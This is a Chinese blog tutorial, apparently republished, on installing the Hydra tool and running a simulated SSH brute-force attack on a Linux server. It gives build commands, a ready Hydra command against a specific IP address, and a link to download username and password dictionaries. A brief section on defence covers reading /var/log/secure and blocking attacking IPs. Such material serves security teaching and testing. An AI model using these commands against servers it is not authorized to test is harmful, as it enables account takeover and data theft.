暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

使用Hydra暴力攻击Linux服务器示例

TIAP 2021-07-30
733

在企业生产环境中,黑客攻击Linux服务器、网站、数据库等,最常用的攻击方式、手段主要有:SQL注入攻击、DDOS攻击、CC网页攻击、SYN Flood攻击、勒索病毒、上传木马、XSS跨站攻击、暴力破解等。其中,暴力破解攻击(Linux服务器)方式是黑客最喜欢的攻击方式之一。

暴力破解是指使用工具,批量、并发的读取用户名字典和密码字典,尝试以SSH协议远程试探登录Linux服务器的用户名和密码。一旦被黑客拿到服务器的用户名和密码,就会导致服务器所有的数据都被泄露。


使用Hydra工具模拟攻击Linux服务器

Hydra是一款开源的暴力破解工具,是著名的THC组织对外开源的。Kali操作系统会默认安装Hydra,下面我们介绍如何使用Hydra模拟攻击Linux服务器。


下载Hydra

首先从官网下载软件,我们把它放在/usr/src/路径下:

    $ wget -c https://www.thc.org/releases/hydra-8.1.tar.gz -P usr/src/
    复制


    然后解压工具:

      $ cd usr/src
      $ tar -zxvf thc-hydra-master.tar.gz
      复制


      上述命令中,tar参数分别是指:

      • -z gzip压缩格式;

      • -x extract解压;

      • -v verbose详细显示;

      • -f file文件属性。


      安装Hydra

      Hydra是使用C语言开发的软件程序,我们下载解压后的是源代码文件,还需要将其编译成二进制文件。如下操作:

        # 预编译
        $ ./configure --prefix=/usr/local/hydra/


        # 编译
        $ make


        # 安装
        $ make install


        #将Hydra程序bin目录添加到系统path环境变量中
        $ cat >>/etc/profile<<EOF
        export PATH=\$PATH:/usr/local/hydra/bin/
        EOF


        #使环境变量生效
        $ source etc/profile


        #检查是否安装成功
        $ hydra
        复制


        若出现如下图所示内容,则表示安装成功:


        模拟攻击

        我们使用Hydra模拟攻击Linux服务器(假设服务器IP地址是120.92.111.191),使用如下命令:

          $ hydra -L users.txt -P passwd.txt -t 4 -vV 120.92.111.191 ssh
          复制

          上述命令中的users.txt和passwd.txt分别是用户名字典文件和密码字典文件,大家可以到(https://pan.baidu.com/s/1r6Umol2jkaHGZgygqw7Fvg)下载,提取码:kp4f

          命令参数:

          • -L,指定用户名字典文件;

          • -P,指定密码字典文件;

          • -t,指定攻击并发线程数;

          • -vV 详细显示攻击过程;

          • ssh,指定攻击协议,以SSH方式试探。


          程序会一直运行到成功获取被攻击机器的账号。


          防御

          作为运维人员,当服务器遭受到暴力破解攻击时,需要找到相应的方法去防御。首先需要找到系统的安全日志,对日志文件进行分析,可以通过awk,sed,grep命令分析黑客的IP地址。找出哪些IP地址攻击次数最多,然后将其IP封禁掉,加入黑名单。

          此外,还需要查找服务器漏洞,弥补漏洞,防止再次遭到攻击。

          关于系统安全日志的位置,可以通过以下方式查找:

            find  -name "*secure*"
            find / -name "*secure*" | grep log
            /var/log/secure
            复制





            文章转载自TIAP,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

            评论